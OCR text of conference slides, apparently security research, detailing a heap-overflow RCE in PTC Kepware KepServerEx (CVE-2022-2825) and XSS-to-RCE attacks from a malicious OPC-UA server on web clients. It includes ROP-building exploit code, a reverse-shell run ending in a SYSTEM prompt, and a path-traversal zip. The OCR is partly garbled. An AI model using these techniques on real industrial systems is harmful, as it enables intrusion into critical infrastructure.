Vulnerabilities and Exploits
RCE - Servers



OPC-UA Server - RCE

Attacker

g ‘ /7 N\
________ ]
OPC-UA Water Level

—————————— >
Proprietary
C@ I - ICS Protocol
M H* OPC-UA

Water Tank PLC Server/Gateway OPC-UA Client




OPC-UA Server - RCE

__________ > : Water Level
ﬁ is 50%
Proprietary
I ICS Protocol

Water Tank PLC Server/Gateway OPC-UA Client




PTC Kepware KepServerEx

* Industry’'s leading OPC-UA server, used

in biggest manufacturing lines, oil rigs,
wind farms, etc.

* Windows-based
* Custom OPC-UA protocol stack

* OPC-UAlogicin server runtime.exe
= 32bit, service (SYSTEM)
= Customized anti-debugging

&3 [Connected to Runtime] - KEPServerEX 6 Configuration

File Edit View Tools

DI

= (ggl Connectivity

. {:} Channell
. @~ Channel2

Runtime Help

| B

. {} Data Type Examples
@ {} Simulation Examples

----- G Advanced Tags

El @ Alarms & Events

----- ... Add Area...

- . Data Logger
= O EFM Exporter

...... O Add Poll Group...

4I)




Fuzzer Demo

NNN

N

7
y
73
/i
/:

Sending

31

oy

e85

[2023-83-20
[2023-03-20
[2023-03-20
[2023-03-20

m
Yok

File Options View Process

HICT m'®|e&X

Process

| svchost exe
|svchost exe
svchost exe
‘| server_runtime exe
Isass.exe
a-|fontdrvhost .exe
# ' csrss.exe
¥ [ |winlogon .exe
+ gy Explorer exe

w-Iserver admin.exe

Find Users

£
o]

cPU | Private Bytes ;

1.49% K

1.956 K

2516K

530 23.9B0K
7.740K

1432K

<0.01 2068 K
3016K

<0.01 00 K
<0.01 7944 K

Wokng S8

6496 K
6.996 K
7.768 K
44208 K
38328K
4056 K
5884 K
12,660 K
305.108 K
30.652K

PID i De;;nm‘on

4180 Host Process for Windows S..

1276 Host Process for Windows S...

5260 Server - Runtime

700 Local Securty Authority Proc. ..

836 Usemode Font Driver Host
5_14
636 Windows Log-on Application
5956 Windows Explorer
5472 Server - Administration

CPU Usage: 98.50% Commit Charge: 30.42% Processes: 149 Physical Usage: 38.90%

server_runtime.exe:5260 Properties

Image
GPU Graph

Performance

[[]Resolve addresses

| P.. Local Address

[TCP 10.10.7.21:49320 0.0.0.0:0
TCP 127.0.0.1:32402 0.0.0.0:0

Remote Address = State

Performance Graph
Threads TCP/IP Security

| <Filter by name>

i Company Name
Microsoft Comporation
Microsoft Corporation

PTC inc.
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation

Microsoft
PTC Inc.

Environment

LISTENING
LISTENING

TCP 127.0.0.1:49320  desktop-2vse... LISTENING

desktop-2vse... ESTABLISHED
desktop-2vsef... ESTABLISHED
desktop-2vse... ESTABLISHED
127.0.0.1:56233 ESTABLISHED
127.0.0.1:56233 ESTABLISHED
127.0.0.1:57812 ESTABLISHED
127.0.0.1:56233 ESTABLISHED
127.0.0.1:56233 ESTABLISHED

O

Disk and Network

Strings

X




Analyzing the Crash

(42d4.3920): Access violation -~ code c0000005 (first chance)

First chance exceptions are reported before any exception handling

This exception may be expected and handled

eax~0012004b ebx~00000000 ecx~0012004b edx-00000000 es1~02c7£574 ed1~0012004b

eip=76%edadl esg =02c7f4=0 ebp=02c7f4e8 102 nv up €1 pl zr na pe nc
ds=002b es=002b £s=0053 gs=002b efl=00010246

ucrtbase!wveslen+0x20

z6g?gad£ 663911 Cmp wvord ptr [ecx].dx ds: 002b:0012004b=772?

: >

# ChildEBP RetAddr

U0 02c7f4e8 662c727a ucrtbase lvcs

{Inline) - - nfcl40u|ATL

\all\ wvork\l19\s\src\vctools\vc.

2 (Inline®) ~——————— nfcldlu! 370 impleStringli<wchar_t 1), e ring+Uxb [d a8l work\l9\s\sresvetools\ve71il
03 (Inlane) - - nfcl40fATL: -CSimpleStrangT<wchar_t.1>: :operator=+0xb [d “a0i\wgork .19 s \src votools'

(Inline) - nfci4lul ATL . CStringT<wchar ¢t. StrTraxtKFC Dll<wchar t_ ATL: ChTraxzsCRT<wchar t> > > :opera!

02c7£514 6bc3bife 140ulATL: -CStringT<wchar_t . StrTraitMFC_DLL<wchar_t, K ATL: :ChTrait3CRT<wchar_t> > > :CStri

|CSimpleStringT<wchar_t.1>: :Stringlength+0xb |



OPC-UA Strings are UTF-8 Encoded

v Value: Détavélue

Attribute Value 1 ' EncodingMask: @x@1, has value
v N°d§‘:’m6p“dnda bt o | vV Value: Variant
IdentifierType Numeric Variant Type: Strlng (exec)
g aidem | String: TOPFLOOR 13
BrowseName 3 ':fANK_lD'“ /
Sl T Read tag’s value Wireshark
v Value

SourceTimestamp 3/19/2023 11:16:07.071 AM

SourcePicoseconds 0
ServerTimestamp 3/19/2023 11:16:02
ServerPicoseconds
StatusCode
Value >
> DataType Stnng

TANK _ID tag and it's value
Unified Automation Client



KepServerEx Conversion bug

KepServerEx is trying to convert UTF-8 to UTF-16

struct_al * cdecl CUtf8String::ToWide(struct _al *struct for _cstring, char *input string)
{

unsigned int number_of utfl6_code units; // eax

struct_al *result; // eax

number_of utfl16 code units = CUtf8String::GetUtfl6Length(input string);
struct _for_cstring->number of utfl6 code units = 0;
struct _for_cstring->lenght = 7;
LOWORD(struct_for_cstring->pointer to heap allocated buffer) = 0;
PERFORM_ALLOCATTONS(struct for cstring, number of utfl6 code units, 0);
result = struct for cstring;
if ( !struct for_cstring->number_of utfl6 code units )

reti’i'n result;
if ( struct _for_cstring->lenght >= 8u )

result = (struct_al *)struct_for_cstring->pointer_to_heap_allocated_ buffer;
CUtf8String: :ToWide(input_string, (char *)result);
result = struct for cstring;
return result;

number_of_utflée_code_units = CUtf8String: :GetUtfl6Length(input_string);




String Encoding is Hard

Recipe BB 8 Input :
AAAA

Encode text S 1 .

Encoding

UTF-8 (65001)

To Hex Q 1 .
Output X- leng
Delimiter Bytes per line Lir

Space 0 41 41 41(c3 80)




UTF-8 to UTF-16 is Hard

M Whatever starts
UTF-8: AAAA with C3 is
. probably 2 bytes

v Value: DataValue long

EncodingMask: Ox81, has value
v Value: variant
Variant Type: String (@xec)
String: AAAA




UTF-8 to UTF-16 is Hard

M Whatever starts
utr-8: AAAA with C3 is
l probably 2 bytes
long

41 41 41 c3 860 00 ......




UTF-8 to UTF-16 is Hard

M Whatever starts |
UTF-8: AAAA with C3 is
l probably 2 bytes
long




UTF-8 to UTF-16 is Hard

M Whatever starts
utr-8: AAAA with C3 is
l probably 2 bytes
long

41 41 41 c3 860 00 ......
U\ \UN/ Stop
1 1 1 2




UTF-8 to UTF-16 is Hard

M Whatever starts |
utr-8: AAAA with C3 is
l probably 2 bytes
long

41 41 41 c3 80 00 ......

U\ \UN/ Stop
1 1 1 2

UTF-16:

!

\X41\x41\x41\xC3\x80




UTF-8 to UTF-16 is Hard

M Whatever starts
I1ITEF.K: AAAA vasidla MDA

OK
‘ g

\X41\x41\x41\xC3\x80




UTF-8 to UTF-16 is Hard

Whatever starts
utr-s: AAAWXC3 with C3 is
= probably 2 bytes

v Value: DataValue long

EncodingMask: Ox@1, has value
vV Value: variant

Variant Type: String (@xec)
String: AAAWXC3




UTF-8 to UTF-16 is Hard

Whatever starts |
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 @6




UTF-8 to UTF-16 is Hard

Whatever starts |
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 @6

\J
1




UTF-8 to UTF-16 is Hard

Whatever starts |
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 @6

\ AV
1 1




UTF-8 to UTF-16 is Hard

Whatever starts |
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 @6

AV AN
1 1 2




UTF-8 to UTF-16 is Hard

Whatever starts
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 00 XXXXXXXXX......

\VAV/ \J\/\/\/\/
1 1 2 11




UTF-8 to UTF-16 is Hard

Whatever starts
utr-s: AAA\XC3 with C3 is
l probably 2 bytes
long

41 41 41 c3 00 XXXXXXXXX......

\VAV RN AVAVAV/ Stop
1 1 2 11




UTF-8 to UTF-16 is Hard

utr-s: AAA\XC3
|

41 41 41 c3 00 XXXXXXXXX......

\VAV RN AVAVAV/ Stop
1 1 2 11

UTF-16:

!

X4 1\x41\x41\xC3LEAKINGTHEHEAP



UTF-8 to UTF-16 is Hard

ute-ss AAA\XC3

FAIL

\X41\x41\x41\xC3LEAKINGTHEHEAP



Heap Overflow Primitive

The bug is triggered on both READ TAG and WRITE_TAG functions

We have heap OOB (read+write)

* OOB read — leak pointers to defeat ASLR
* OOB write — construct ROP chain, RCE and PWN



Heap OOB Read

v OpcUa Service : Encodeable Object
» Typeld : ExpandedNodeld
v ReadResponse
ResponseHeader: ResponseHeader
v Results: Array of DataValu . .
Leaking data via read tag
v [@]: DatavValue
EncodingMask: ©x@d, has value,
v Value: Variant
Variant Type: String (©x@c)

String:| aa0h<\U@@@B5A2C002)\ ;
SourceTimestamp: Feb 15, 2022 14:29:33.498526100 GMT Standard Time
ServerTimestamp: Feb 15, 2022 14:29:33.498526100 GMT Standard Time
DiagnosticInfos: Array of DiagnosticInfo

as sourcggimestamp, has server timestamp

4d 53 47 46 5f 00 00 @0 4b 74 a2 6d ©1 @0 @8 @0 MSGF_--- Kt-m----
©4 ©2 00 00 ©5 00 00 00 ©1 00 7a 02 2d 16 67 73 - .- - . ..Ze--gS
7020 78 22 d8 ©1 41 00 00 00 0O OO 00 00 00 00 00 80 X" A ... ..
9030 00 00 00 00 ©1 00 00 00 ©d Oc od 00 00 o0 FWE - - SREEREE aal
0040 [N IRy R Ly 2d 16 67 73 78 [ SRREIRER - - £5X

22 d8 01 2d 16 67 73 78 22 d8 ©1 00 09 €0 00 BERERY - 15 SRuEIC



OOB Write

We have the pointers to start our ROP chain
But the bytes written are UTF-16 converted
To construct the ROP chain we need to control the whole payload.

UTF38 — UTF16
mspalint — \x00m\x00s\x00p\x00a\x001i\x00n\x00t



OOB Write

We have the pointers to start our ROP chain
But the bytes written are UTF-16 converted
To construct the ROP chain we need to control the whole payload.

UTF8 — UTF16
mspaint — \x00m\x00s\x00p\x00a\x001\x00n\x00t

A

Not good for our ROP |



OOB Write

We have the pointers to start our ROP chain
But the bytes written are UTF-16 converted
To construct the ROP chain we need to control the whole payload.

UTFS —  UTF16
P07 — mspailnt



OOB Write

We have the pointers to start our ROP chain

But the bytes written are UTF-16 converted

To construct the ROP chain we need to control the UTF-8 UTF-16
whole payload.

? ms

UTF8 —  UTF16
Fa O e — mspalint



OOB Write

We have the pointers to start our ROP chain

But the bytes written are UTF-16 converted

To construct the ROP chain we need to control the UTF-8 UTF-16
whole payload.

i ms

UTF8 —  UTF16
Fa O e — mspalint



OOB Write

We have the pointers to start our ROP chain

But the bytes written are UTF-16 converted

To construct the ROP chain we need to control the
UTF-8 | UTF-16
whole payload.

I ms

/EE

UTF8 —  UTF16
Fa O e — mspalint

in



OOB Write

We have the pointers to start our ROP chain

But the bytes written are UTF-16 converted

To construct the ROP chain we need to control the
UTF-8 | UTF-16
whole payload.

I ms

/EE

UTF38 — UTF16

..... — mspalnt
Wiz ERNGe — mspaint.exe

in




OOB Write

UTF'8tO16( UTF-8) — ‘mS,



OOB Write

UTF-8t16( uwrs) = 'ms” — \x6d\x73



OOB Write

Unicode Character “¥#” (U+736D)

— \X6d\x73
0




OOB Write

Google L X | & @ Q

Images Shopping News Videos B ] W = B B

Unicode Character “Jifi

‘ Otters

| Overview | Lower classifications Sou
Animal \_

& NXER

i

MFENBE-EERETR

© Ok#M) MEFLanth, MR, AtEHEE
KEHREX. BRARY, &K ®
$E, ERER, EBRNRE. ©




OOB Write

UTF-8t16( uwrs) = 'ms” — \x6d\x73
Unicode(\x6d\x7 3u1) = ¥



OOB Write

UTF-816( uwrs) = 'ms’ — \x6d\x73
Unicode(\x6d\x7 3u-) = i
UTF-8(J#i) = \xe7\x8d\xad



OOB Write

UTF-8t16( uwrs) = 'ms’ — \x6d\x73
Unicode(\X6d\X7 3ur) = i
UTF-8(J#i) = \xe7\x8d\xad

UTF-8116(\xe/\x8d\xadur:) = ?



OOB Write

UTF-8t16( uwrs) = 'ms” — \x6d\x73
Unicode(\x6d\x7 3u1) = ¥
UTF-8(%#i) = \xe7\x8d\xad

UTF-816(\xe 7\x8d\xadur-) = \x6d\x73



OOB Write

UTF-816( urs) = 'Ms’ — \X6d\Xx73
Unicode(\x6d\X7 3ur+) = ¥t
UTF-8(J#i) = \xe7\x8d\xad

UTF-8116(\xe/7\x8d\xadur:) = \x6d\x73 = ‘ms’



OOB Write

UTF-8t16( uwrs) = 'ms’ — \x6d\x73
Unicode(\x6d\x7 3u-) = i
UTF-8(J#i) = \xe7\x8d\xad

UTF-8116(\xe/7\x8d\xadu+s) = \x6d\x/3 = ‘'ms’
\xe7\x8d\xad.s — MSur«



OOB Write

We have the pointers to start our ROP chain
But the bytes written are UTF-16 converted

To construct the ROP chain we need to control the
whole payload.

In [26]: b'mspaint.exe '.decode("utf-16-1e").encode("utf-8"

Out[26]: b'"\xe/\x8d\xad\xeb\x85\xb@\xeb6\xb9\xa9\xe2\xb9\xb4\xe




Building the ROP Chain

if kep_version == KEPWARE_VERSION_OLD:

eax = get_encoded_address(libua_base + 0xc
else:

eax = get_encoded_address(libua_base + Oxm =" 3)
edx = get_encoded_address(ucrt_base + 0x )
edx += get_encoded_address(libua_base + Ox # =
ebx = get_encoded_address(ucrt_base + 0Ox )
ebp = get_encoded_address(libua_base + 0x )
ebp += get_encoded_address(libua_base + 0x 2)
edi = get_encoded_address(ucrt_base + 0x )
edi += get_encoded_address(libua_base + 0x )
if kep_version == KEPWARE_VERSION_OLD:

pushad = get_encoded_address(libua_base + 0x
else:

pushad = get_encoded_address(ucrt_base + 0x

mspaint_encoded = b'mspaint.exe\x00'.decode("utf-16-1e").encode("utf-8")
mspaint_string = b'\xe7\x8d\xad\xe6\x85\xb0\xe6\xb9\xa9\xe2\xb9\xb4\xe7\xal\xabe'




PTC Kepware RCE - Leaking

urikatz@Uris-MacBook-Pro nc -1 4242

v

200 for i in {0..9}; do; python3 main.py kepware 10.10.6.182 48320 "/" ; sleep 20

[-] Opening connection to 10.10.6.182:49320
[-] Sending HEL message with 59 bytes
[-] Sending OPN message with 133 bytes
[-] Got Secure Channel Id = 2302139374
[-] Sending Create message with 331 bytes
[-] Got AuthID = 2376123162
[-] Sending Activate message with 117 bytes
[-] Leaking ucrtbase from stack..
[-] Leaking offset 2 from stack
[-] leaked (3 bytes): 6161df80683cefbe9875680b
[-] leaked (4 bytes): 616161df803cefbe9875c894ef
[-] Leaking l1ibua from stack..

KEPServerEX 6.11
¥6.11.718.0
Copyright © 2021 PTC Inc. All Rights Reserved.

Technical support is available by contacting:

Kepware
400 Congress Street, 4th Floor
Portiand, Maine 04101

Phone:
Fax:

m/support»
Product Activation: <mykepware com»
Web: <kepware.com>»

svchost.exe
svchost.exe
svchost.exe
svchost.exe
server_runtime exe
B Isass.exe
§ fontdrvhost exe
B CSrss.exe
§ winlogon.exe
# fontdrvhost exe
§ dwm.exe
-~ Bxplofer exes
@ SecurityHealthSystray exe
@ OneDrive. exe
C msedge.exe
‘ msedge.exe

‘ msedge.exe

‘ msedge.exe

" msedge.exe
> notepad++.exe

4| mmec.exe
(5
mme.exe
§ Ccsrss.exe
# winlogon.exe
#§ LogonUl.exe

o Windows10

Microsoft Windows
Version 21H2 (OS Build 19044.1526)

© Microsoft Corporation. All rights reserved

The Windows 10 Pro operating system and its user interface are protected
by trademark and other pending or existing intellectual property rights in
the United States and other countries/regions.

This product is licensed under the Microsoft

s to:

user

Private Bytes
1,460 K
1444 K

13324 K
1,872K
26,236 K
8420K
1,602K
2,008 K
2,732K
3,792K
152,304 K
209,672 K
1,896 K
14,800 K
27128 K
1,068 K
97,932 K
8,856 K
6,884 K
15776 K
81,288 K
16,088 K
1,632K
2,348 K
14324 K

Working Set PID Description
7008 K 1392 Host Process for Windows S
6,152 K 10764 Host Process for Windows S..
20988 K 8440 Host Process for Windows S
6264 Host Process for Windows S..
10600 Server - Runtime
740 Local Security Authority Proc
900 Usermode Font Driver Host

Compa
Microsc
Microsc
Microsc
Microsc
PTC inc

Microsc

584 Client Server Runtime Process M

644 Windows Logon Application
892 User Font Driver Host
404 Desktop dow Manager
4752 Windows Explorer
8304 Windows Security notificatio...
8464 Microsoft OneDrive
8580 Microsoft Edge
8608 Microsoft Edge
8764 Microsoft Edge
8776 Microsoft Edge
8832 Microsoft Edge
7048 Notepad++ - a free (GPL) so...
7404 Microsoft Management Cons
4832 Microsoft Management Cons
or Runtime Process

ogon Application

Windows Logon User Interfa

Microsc
Microsc
Microsc
Microsc
Microsc
Microsc
Microsc
Don HC
Microsc
Microsc
Mi

M

Microsc



PTC Kepware RCE - Overwriting Heap

urikatz@Uris-MacBook-Pro nc -1 4242

for i in {0..9}; do; python3 main.py kepware 10.10.6.182 49320 “/" ; sleep 20
from stack
] leaked (3 bytes): 6161df80683cefbe9875680b
] leaked (4 bytes): 616161df803cefbe9875c894ef
aking libua from stack..
aking offset 2 from stack
]
]

Leaking offset 2

[
[ =

leaked (3 bytes): 6161df80683cefbe98756860b

L
L

[ -
[-] leaked (4 bytes): 616161df803cefbe9875c894ef

[-] Found ucrtbase.dll at address: 6x75983c68, base:
[-] Found 1ibua.dll address: Ox6eb888e9, base:
[-] Calculating pointers: get_proc_addr address

0x75950000
0x6eb60000

-] Generating reverse shell payloads. Encoding

F W . e o dil o o AN

Ox6ec25054, exchange addr = Ox6e

-~

KEPServerEX 6.11
V6.11.718.0
Copyright © 2021 PTC Inc. All Rights Reserved.

am Windows10

Microsoft Windows
Version 21H2 (OS Build 19044.1526)
© Microsoft Corporation. All rights reserved
Technical support is available by contacting:
The Windows 10 Pro operating system and its user interface are protected

by trademark and other pending or existing intellectual property rights in
the United States and other countries/regions

Kepware
400 Congress Street, 4th Floor
Portiand, Maine 04101

Phone: 1(2

Fax: 1(207) -17

Product Support: <k This product is licensed under the Microsoft
Product Activation: <mykep Terms to:

Web: <kepware.com» user

M S L
CPU  Private Bytes
1,460 K
1444 K
13,324 K
1972K

Working Set tior Company
7,008 K 1392 Host Process for Windows S... Microsoft
6,152 K 10764 Host Process for Windows S... Microsoft

20,988 K 8440 Host Process for Windows S... Microsoft
6,852 K 6264 Host Process for Windows S... Microsoft
45496 K 10600 Server - Runtime PTC inc.
21808 K 740 Local Security Authority Proc..
4628K 900 Usermode Font Driver Host

svchost exe

» svchost.exe

# svchost.exe

8 svchost.exe
# server_runtime. exe
8420K
1,692 K
2,008 K
2,732K
3792K
152,304 K
209672 K
1,896 K
14800 K
27128 K
1,068 K
97.932K
8,856 K
6,884 K
15776 K
91288 K
16,088 K
1,632 K
2348 K
14324 K

8 |sass.exe
# fontdrvhost exe
# csrss.exe 584 Client Server Runtime Process
15140 K
8,660 K
316,164 K
263884 K
10,140K
53,308 K
81460K
7940K
29,780 K
29,008 K

18.412K

» winlogon.exe 644 Windows Logon Application

§ fontdrvhost.exe 892 Usermode Font Driver Host
§ dwm.exe
~ BXplorer.exe
@S&cumyHeanhSysuay.exs
@ OneDrive exe
C msedge exe
g msedge exe
‘ msedge.exe
< msedge.exe
‘ msedge.exe
-/ notepad++.exe
: mmc.exe

404 Desktop Window Manager
4752 Windows Explorer
8304 Windows Security notificatio..
8464 Microsoft OneDrive
8580 Microsoft Edge
8608 Microsoft Edge
8764 Microsoft Edge
8776 Microsoft Edge Microsoft
8832 Microsoft Edge Microsoft
7048 Notepad++ : a free (GPL) so... DonHO d
7404 Microsoft Management Cons... Microsoft

Microsoft
Microsoft
Microsoft
Microsoft

mme.exe 4832 Microsoft Management Cons... Microsoft

# csrss.exe 4932 Client Server Runtime Process

# winlogon.exe 6368 Windows Logon Application

# LogonUl.exe 49676 K

4272 Windows Logon User Interfa



PTC Kepware RCE - Triggering

urikatz@Uris-MacBook-Pro nc -1 4242 ey ,
Microsoft Windows [Version 10.0.19644.1526] V6.117180 ex == Windows 10

(c) Microsoft Corporation. All rights reserved. Copyright © 2021 PTC Inc. Al Rights Reserved

" — Microsoft Window
G \HlﬂdOWS\SYStEI‘BZ? :r"er::: 21\;2 (?J;Bu:ld 19044.1526)

© Microsoft Corporation. All rights reserved
Technical support is available by contacting:

The Windows 10 Pro operating system and its user interface are protected
by trademark and other pending or existing intellectual property rights in
400 Congress Street, 4th Floor the United States and other countries/regions.
Portland, Maine 04101

Kepware

Phone: 1(207)775-166

Fax:

Product Support: comy » This product is licensed under the Microsoft
Product Activation: « vare.com» Terms to:

Web: <kepware.com» user

g = X AP D
S CPU  Private Bytes Working Set PID Description Company
# svchost.exe 1,460 K 7,008 K 1392 Host Process for Windows S... Microsoft

» svchost.exe 1444 K 6,152 K 10764 Host Process for Windows S... Microsoft
# svchost.exe 13,324 K 20988 K 8440 Host Process for Windows S... Microsoft
3
s

LN N foriin {0..9}; do; python3 main.py kepware 10.10.6.182 49320 "/* ; sleep 20
[-] leaked (4 bytes): 616161df803cefbe9875c894ef
[-] Leaking libua from stack..
] Leaking Offset 2 from StaCk server_runtime exe 26168 K 45828 K 10600 Server - Runtime PTC Inc.
[ = ] leaked (3 bytes) : 6161df80683cefbe98756860b ‘ i cd exe ) 5,076 K 8388 Windows Command Processor Microsoft
[-] leaked (4 bytes): 616161df803cefbe9875c894ef N oot s s IEASCONE PAVER T E S Mo

svchost.exe 1972K 6.952K 6264 Host Process for Windows S... Microsoft

g
!
- -

P python.exe 6,056 K 11,236 K| 9224
"""""""""""""""""""""""""""""""""""""""""""""""""" i cmd exe 4,076 K 4.040K 9768 Windows Command Processor Microsoft
..................................................... . . 8 Berver_runtime.exe 4,332K 20 K 10308 Server - Runtime PTC Inc

4 i ) : I : L, WerFaulLexe 1 40,280 K 39,336 K 540 Windows Problem Reporting  Microsoft

[ e Found ucrtbase.dll at address: 9X75983C68, base: Ox75950000 4 § lsass exe 8,420 K 21808 K 740 Local Security Authority Proc... Microsoft
[ - _‘\ Found 11bua .dll add ress. 0x6€b888€9, base - 9X6€b59939 ‘{{ # fontdrvhost exe 1,602K 4628K 900 Usermode Font Driver Host

d X . B . - - . 3 " § Csrss.exe 2,008 K 6,092K 584 Client Server Runtime Process

[-] Calculating pointers: get_proc_addr address : Ox6ec25054, exchange_addr = Ox6e B docon e 2752k ABMOK  644Wandows Logon Appication
bbzzae # fontdrvhost.exe 3792K 8,660 K 892 Usermode Font Driver Host
__________________________________________________________________________________ # dwm.exe 152,304 K 316,164 K 404 Desktop Window Manager

~ Bxplorer.exe 208,672 K 264 128 K 4752 Windows Explorer

"""""""""""""""""""""""""""" @SocurllyHeaRhSysuay,exe 1,886 K 10,140 K 8304 Windows Security notificatio..

[-] Generating reverse shell payloads. Encoding using reverse unicode UTF16 --> UT o Doatiive sk 4800K 53,308 KR N—— Mt
> v { msedge.exe * 27448 K 81,760 K 8580 Microsoft Edge Microsoft
F 8  msedge.exe 1,668 K 7940 K 8608 Microsoft Edge Microsoft
[ el Generat ‘L ng ROP  msedge oxe 0 97,032 K 8764 Microsoft Edge Microsoft
- 9 » . - - . . 0.0 8,856 K ( 8776 M i E Microsoft
[-] Building special ROP sled POP#XCHG chain Yo RS T

msedge.exe 0 6,884 K 184 8832 Microsoft Edge Microsoft

BB | R | B :ﬁmm«mm _ 15776 K 7048 Notepad+-+ - a free (GPL) so.. Don HO &




PTC Kepware RCE CVE.2022.2825

B R ne -1 4242
urikatz@Uris-MacBook-Pro nc -1 4242
Microsoft Windows [Version 16.6.19044.1526]
(c) Microsoft Corporation. ALl rights reserved.

am Windows10

C:\Windows\system32>whoanmi

whoani - o '

nt aUthortty\SySteﬂ : Rkl The Windows 10 Pro operstng system and &3
< by trademark and other pending or ewsing

Woel, 4 P t Red States and othwr COUrreN reQire

C:\Mindows\system32>}

Product Actwation
Webc <tepware oo

C:\Windows\system32>whoani
whoanmi
e TN authortty\systen

ucrtbase.dll at address: 0x75983

1libua.dll address: 8x6eb888e9, - = e .
alculating pointers: g | , Bx6ec25054, exchange_addr = @Ox6e Sty SRR EEE . sarmemadetomtuainet
bbzzae N * Q2 o . 3% 184 x 404 Doshiop Wedow Manage:
013 204 120 K 4T52Windows Exploter

3 BI04 Wincows Decurty noticsbe
----------------------------------------------------- » ':,_:_. WMMM"

$4480 Mucrosoh Egge

#0048 Mcronch Foge
28764 Mcronoh Edge
$770 Macrosoh Edge
8332 \Microsoh Edge
TOAl Notepad++ 3 hee (GPL)sa. Don O o
T TN TR R TR TR TR TR TR TR R TR TR TR TR TR TR T TR TR TR TR TR TR R TR TE TR TR TR NIRRT R T saa iy AA- o : sana s



Vulnerabilities and Exploits
RCE - Clients



Attacking OPC-UA Clients

Read

“ - OPC-UA-------—————- -

Malicious OPC-UA
Server

OPC-UA Client



Web-Based OPC-UA Clients

m
Ig - JONRIY) |
e OPC UA Client Application Setting
Start Date End Date Top Hiceme AgRcomEns

Activate/Deactivate OPC UA Client

nition’

by inductive automation

03/17/2019 17:00 03/20/2019 16:59 10 C Version
(O ALARM SUMMARY
D mqQrT
OTAL ALARMS 38
YV OPCUA
e st ASTL D OP%JACIient Application Settings
( ‘; (NOWLEDGED S D OPC UA Server Application Settings

OPC UA Advanced Settings
AVG TIME TO ACK 18:38:1

ME TOCLEAR 085:17:30
Doy Tk - 20 (2%

Inductive Automation Softing
Ignition dataFEED edgeAggregator




XSS Over OPC-UA

TYPE ACTION TITLE
Server refresh =3 Claroty OPC-PWN Serverr

Object #-(J Aliases

Object =3 SecretObj

Tag [S]1[r][w] #-[_J SecretVar
G 2

Object #-J Server

Server refresh #-_J Ignition OPC UA Server




XSS Over OPC-UA

>4

€ ————mm = — OPC-UA----=-—-—=————-—=-= -

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

Read
e OPC-UA------————--- - Tag

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

Sure, here
IS your tag!

Read

e OPC-UA-----—-————-- - Tag

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

Sure, here
IS your tag!

Read
Water Level

----------- OPC-UA----=-=————= - > Tag

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

Read
Water Level

Tag

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

«-— oo OPC-UA-------————-- -

Malicious OPC-UA
Server

OPC-UA Client



XSS Over OPC-UA

- —————— -

Malicious OPC-UA
Server

OPC-UA Client



‘ements

“lient Application Settings

server Application Settings
Server Endpoints

dvanced Settings

ces

Connection Set

Connection Name

Enabled

Server Endpoint

Message Security !

Security Policy

Accept Trusted Ce;

Authentication Set/

Username

Access Rights

XSS Over OPC-UA

Test Connection R

Connecting to OP
Server endpoint UR
Security Settings:

User

Results:

10.10.6.117:8099 says

Hello from inside the Manufacturer Name Ffield

Anonymous

Connection Test Successful!

Start Time:
Current Time:
Manufacturer Name:
Product Name:
Product Uri:
Build Date:
Product Version:
Connection State:
Status Code:
Connection Name:
Session Id:

ServerCompatibility:

01/02/2023, 09:54:58
01/02/2023, 09:54:58

dataFEED_edge_OpcUaServer
urn:Softing/Products/dataFEED_edge_OpcUaServer

Running

Good
TestXss_test92
ns=2;i=3618956045




XSS Over OPC-UA

- 127.0.0.1:8088 says

hello from inside a tag read!

TITLE
=-E3Claroty OPC-PWN Server
JAliases
S'BSecretObj
#- (] SecretVar
J Server
#-(Jlgnition OPC UA Server

g

nition‘.®/

by inductive automation



XSS Over OPC-UA

hello from inside a tag read!

Q

TITLE
=3 Claroty OPC-PWN Server
®- (] Aliases
=3 SecretObj
®- (] SecretVar
®- () Server
#-(J Ignition OPC UA Server

- 127.0.0.1:8088 says -

Ignition‘./

by inductive automation

v Read completed. [Claroty OPC-PWN Server]nsu=http://claory.com;i=2

Value:

Quality: Good

Timestamp: 1/26/23, 7:03:12 AM PST

TYPE
Server
Object
Object
Tag
Object
Server

ACTION

refresh

[s]Ir][w]

refresh

TITLE

=-3Claroty OPC-PWN Server
#- (] Aliases
=- 3 SecretObj
®-(J SecretVar
®-(J Server
#-(J Ignition OPC UA Server




XSS Over OPC-UA to RCE

We are in the context of the OPC-UA client, how can
we leverage into RCE?

Chain with more vulnerabilities



XSS Over OPC-UA to RCE gnition.”




XSS Over OPC-UA to RCE

iv 5 scripting

II=IE§!5==II Script

1 def onScheduledEvent():
2 import os; os.systen({]'mspaint”)

lllllllllllllllllll



XSS Over OPC-UA to RCE gnition.”

by inductive automation

hv [5] Scripting
IIIIEEIE::II Script

1 def onScheduledEvent():
2 import os; os.systen({]'mspaint”)

€3 lgnitionGaIeway exe

conhost exe

gmava exe

- ¥ cmd .exe
3} mspaint .exe




XSS Over OPC-UA to RCE gnition.”

by inductive automation

hv [5] Scripting
‘II:IEE!Ei:II Script

1 def onScheduledEvent():
2 import os; os.systen({]'mspaint”)

¢ lgnitionGateway exe
M conhost exe

Py java.exe

= cmd .exe
> .’;;.j mspaint.exe




XSS Over OPC-UA to RCE

General Settings Backup & Restore

Backup

Restore Configuration

Configuration Archive: ' Ng configuration file selected

Reset To Factory Default

Automatic Configuration Backup

Backup



XSS Over OPC-UA to RCE

General Settings Backup & Restore

Backup

Restore Configuration

Configuration Archive: ' Ng configuration file selected

Reset To Factory Default

Automatic (

Backup



XSS Over OPC-UA to RCE

Backup & Restore

Configuration Archive:

. /ClarotyPOC.zip
Date
2023-01-25 18: OGS GO N N < [ O K 6T
2023-01-25 : cafunfsafanfe of sa s fLLDIXB6: 64-11nux-gnu/
193584 2023-01-25 - eofeofoi]efeofof..[liD/Xx86 64-1inux-gnu/libacl.so.1

193584 2023-01-25 - eof oo oof o). /liD/Xx86 64-1inux-gnu/libacl.so0.1.1.6@
0 2023-01-25 - core/
